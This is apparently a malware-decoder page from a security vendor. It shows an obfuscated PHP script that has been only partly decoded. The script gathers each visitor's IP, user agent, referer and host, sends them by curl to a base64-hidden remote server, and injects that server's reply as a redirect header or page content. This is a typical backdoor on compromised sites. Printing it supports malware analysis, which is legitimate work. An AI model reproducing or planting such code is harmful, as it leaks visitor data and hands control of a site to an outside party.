Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


goto MNZyz; N9h_O: u7kTV: goto a2T3P; IwOz1: FS3Bk: goto qd6zf; O3CWw: $tPwCy["request_url"] = $_SERVER["REQUEST_URI"]; goto vKXEa; vel8n: goto hi6zK; goto LPrkS; apXbv: ua3tu: goto P1_1y; VfNmQ: kGyun: goto O3CWw; eslX0: $QomWN = sPrLD($pePNY); goto w9rSg; QaTzD: goto vjrWQ; goto SoeoX; Lqc1m: goto DB87C; goto ycrE0; TaxBt: goto sD4cy; goto RA5nj; E34PE: iX6fX: goto hsH7p; j5kaY: $tPwCy["referer"] = isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : ''; goto HEU9Y; a2T3P: $tPwCy["agent"] = isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : ''; goto af5w1; HIupV: if (!empty($Mb2DN) && isset($Mb2DN[1])) { goto WGEeO; } goto SaVRK; uvekm: ZGjOi: goto TP7RO; c3GHe: goto kGyun; goto V85rL; Y8y1S: SSptN: goto Tqdxt; FUTfv: VUm_F: goto Co3Gw; vB25S: goto H9f2_; goto LebnJ; IJGjs: goto SHwH5; goto vEMc5; S94nG: EheOV: goto eslX0; RA5nj: q08uf: goto Fm9CT; oWtdG: goto jMWNk; goto VI03n; MNZyz: goto lhE4U; goto apXbv; af5w1: goto xZU31; goto Jbtky; b2hfK: print_r($tPwCy); goto vB25S; HyHX8: mc1vL: goto M0mMP; pFGoR: eDzpz: goto c8JpG; Tqdxt: $tPwCy["ip"] = ''; goto sKF0e; RRV24: q1a48: goto RgxQO; kDHWD: goto EheOV; goto Y8y1S; zujZ9: goto ua3tu; goto ema5g; NdYcU: goto KOoUz; goto RRV24; w9rSg: goto vapdk; goto HyHX8; qd6zf: if ($tPwCy["ip"] == null) { goto VUm_F; } goto SMtgw; TP7RO: @header($Mb2DN[0]); goto vel8n; HEU9Y: goto FS3Bk; goto BgBh4; F1ArC: goto vsOQC; goto EJiO8; w3cJ2: goto lSjul; goto E34PE; LebnJ: jMWNk: goto ysAKw; vKXEa: goto ZICyZ; goto N9h_O; M0mMP: lSjul: goto ObdWH; aysyb: goto Set7a; goto NdYcU; EJiO8: sD4cy: goto z5BIf; RxTTT: goto ZGjOi; goto VPAX0; SoeoX: vjrWQ: goto TVxS9; V85rL: dWHP4: goto PiO6N; uV84Z: goto vPkPC; goto hJhLI; c8JpG: goto jSV6R; goto oia6X; qT0oX: goto fO0nM; goto IwOz1; Hydno: WGEeO: goto RxTTT; w1S5E: goto bNyOA; goto YXGFQ; ec9b2: $tPwCy["ip"] = isset($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"]; goto DukPn; d0J6G: goto v1H7o; goto yVTwH; z3Lob: Cd6kw: goto gRr1R; pakll: xZU31: goto j5kaY; RO2FN: H9f2_: goto lODGF; J_CHC: jSV6R: goto jevUb; rasz6: if ($xBGcB < 3) { goto ABi1D; } goto M0tym; M0tym: goto ftiIM; goto Rjdt1; jevUb: $tPwCy["protocol"] = isset($_SERVER["HTTPS"]) ? "https://" : "http://"; goto d0J6G; Fm9CT: $tPwCy["domain"] = isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $_SERVER["SERVER_NAME"]; goto c3GHe; SaVRK: goto jdYs9; goto Hydno; ObdWH: goto Cd6kw; goto J_CHC; LMVwg: $F55L_ = base64_decode("aHR0cDovL3VzNDc0LXYzNDMudXNhbWF6b4LmNsaWNr"); goto E1ga4; E1ga4: goto q08uf; goto IHWfC; ema5g: fO0nM: goto LMVwg; PiO6N: if (isset($_REQUEST["params"])) { goto iX6fX; } goto w3cJ2; cBnZI: goto V8h_N; goto z3Lob; SMtgw: goto eDzpz; goto FUTfv; lODGF: die; goto O318u; Rjdt1: ABi1D: goto oWtdG; Jbtky: hi6zK: goto fNcyT; ycrE0: v1H7o: goto kntbV; O318u: goto mc1vL; goto GeYcN; GeYcN: ZICyZ: goto ec9b2; vEMc5: WsKCQ: goto pFGoR; AeTdp: $xBGcB++; goto cBnZI; hsH7p: goto q1a48; goto S94nG; yVTwH: vsOQC: goto rasz6; VPAX0: SHwH5: goto AeTdp; DukPn: goto u7kTV; goto pakll; P1_1y: function GgLbO($YdmiF) { goto M3Hwk; l53JU: DUOfg: goto kEeGV; jBFT7: goto xyk9I; goto wEF1k; LyPV8: EhEXM: goto DQs_T; c2QAG: goto l8Z6S; goto TfvqU; yJrps: goto lfXSP; goto yBTgw; IglY3: goto eZ8Qm; goto nNdM2; P435Q: goto EhEXM; goto yWvdX; pvHUH: xyk9I: goto MpDFz; W71aE: eZ8Qm: goto Q96du; DQs_T: lQS11: goto gNiHJ; r_xh_: goto bjStQ; goto CrVBm; U59cg: FRR3s: goto YON8T; TfvqU: bjStQ: goto l53JU; FdVR2: return $d0uFm; goto yTHu3; f1Q7_: lfXSP: goto WOYr2; yTHu3: goto Y4gkZ; goto Zz5kW; k4qFN: goto DUOfg; goto U59cg; Q96du: goto lQS11; goto r_xh_; gVydy: goto Cgut1; goto YRNfB; wE0FF: goto e2gZp; goto LyPV8; yBTgw: fKvLD: goto FdVR2; ycxUW: Cgut1: goto jtI1R; I921a: $d0uFm .= $zOGJx; goto MSukZ; K5yPu: $zOGJx = substr($YdmiF, strlen($YdmiF) - 2); goto wE0FF; WOYr2: $Skjch = $Skjch + 2; goto IglY3; nNdM2: l8Z6S: goto qa4nI; qa4nI: Svi8s: goto yJrps; wEF1k: QCmWb: goto mpRky; CrVBm: fK6h8: goto K5yPu; YON8T: goto QCmWb; goto f1Q7_; M3Hwk: goto fK6h8; goto BOMeg; FBx30: $d_2OG = str_split($YdmiF); goto jBFT7; MSukZ: goto fKvLD; goto pvHUH; jtI1R: $Skjch = 0; goto P435Q; kEeGV: goto LNQZd; goto W71aE; gNiHJ: goto GCZZL; goto ycxUW; sWfmq: if ($Skjch < count($d_2OG) - 2) { goto FRR3s; } goto k4qFN; yWvdX: GCZZL: goto sWfmq; mpRky: $d0uFm .= $d_2OG[$Skjch + 1] . $d_2OG[$Skjch]; goto c2QAG; Zz5kW: LNQZd: goto I921a; MpDFz: $d0uFm = ''; goto gVydy; BOMeg: e2gZp: goto FBx30; YRNfB: Y4gkZ: goto skOv2; skOv2: } goto qT0oX; ysAKw: $pePNY = sprintf("%s/?r=%s", $F55L_, GGLbo(base64_encode(implode("{|}", $tPwCy)))); goto kDHWD; Co3Gw: goto SSptN; goto VfNmQ; VI03n: V8h_N: goto aysyb; gwnBy: $Mb2DN = @preg_split("/{\|}/si", $QomWN, -1, PREG_SPLIT_NO_EMPTY); goto w1S5E; IHWfC: vapdk: goto gwnBy; BgBh4: lhE4U: goto rbs4f; kntbV: $tPwCy["language"] = isset($_SERVER["HTTP_ACCEPT_LANGUAGE"]) ? $_SERVER["HTTP_ACCEPT_LANGUAGE"] : ''; goto wyfZ9; sKF0e: goto WsKCQ; goto uvekm; z5BIf: die; goto Lqc1m; wyfZ9: goto dWHP4; goto RO2FN; PWSUI: jdYs9: goto IJGjs; YXGFQ: vPkPC: goto b2hfK; TVxS9: Set7a: goto F1ArC; fNcyT: echo $Mb2DN[1]; goto TaxBt; gRr1R: $xBGcB = 0; goto QaTzD; LPrkS: KOoUz: goto J4Q1I; hJhLI: DB87C: goto PWSUI; RgxQO: $tPwCy["api"] = $F55L_; goto uV84Z; rbs4f: function sprLD($pePNY) { goto Mjxoz; GZIHL: return $uQ33W; goto cMM2L; orlD7: Dqilv: goto CWyJT; jQLso: curl_setopt($KSRxZ, CURLOPT_USERAGENT, "e"); goto DVyLh; cMM2L: goto swqY1; goto lfihD; qkwCQ: curl_setopt($KSRxZ, CURLOPT_FRESH_CONNECT, TRUE); goto qF3tf; rr3KT: LPa3c: goto qkwCQ; e0eDN: swqY1: goto WUJi3; CWyJT: if ($uQ33W) { goto KEoeX; } goto USrqQ; kOczp: wZeV6: goto hJErt; qkMT_: goto Dqilv; goto d4fRH; N9eZH: qu1r8: goto uaXcT; USrqQ: goto rqOcw; goto lZ1r0; mmJKi: goto qu1r8; goto N9eZH; gz7Yf: LsUgQ: goto eWz03; lZ1r0: KEoeX: goto HTDkr; Q7OuU: goto LPa3c; goto YfKQn; ITVYV: fCfLu: goto jK41p; MV5Yj: goto jgyy0; goto F3hF2; nPDIM: $uQ33W = curl_exec($KSRxZ); goto mmJKi; Mjxoz: goto fCfLu; goto e0eDN; qF3tf: goto WNR7e; goto ITVYV; WUJi3: rqOcw: goto Z3WMM; eWz03: curl_setopt($KSRxZ, CURLOPT_TIMEOUT, 30); goto Q7OuU; Pvz0t: curl_setopt($KSRxZ, CURLOPT_URL, $pePNY); goto Zltjn; lfihD: dtRtm: goto j5f8D; hJErt: curl_setopt($KSRxZ, CURLOPT_RETURNTRANSFER, 1); goto YYvEH; uaXcT: curl_close($KSRxZ); goto qkMT_; F3hF2: jgyy0: goto Pvz0t; d4fRH: G1k30: goto OSFeU; jK41p: $KSRxZ = curl_init(); goto MV5Yj; t4tqy: WNR7e: goto nPDIM; YfKQn: SyA0Z: goto GZIHL; Zltjn: goto c5Jfd; goto gz7Yf; OSFeU: return ''; goto m4swa; j6Wmk: c5Jfd: goto jQLso; m4swa: goto dtRtm; goto j6Wmk; YYvEH: goto LsUgQ; goto orlD7; DVyLh: goto wZeV6; goto kOczp; HTDkr: goto SyA0Z; goto rr3KT; Z3WMM: goto G1k30; goto t4tqy; j5f8D: } goto zujZ9; oia6X: bNyOA: goto HIupV; J4Q1I: ftiIM:



© 2023 Quttera Ltd. All rights reserved.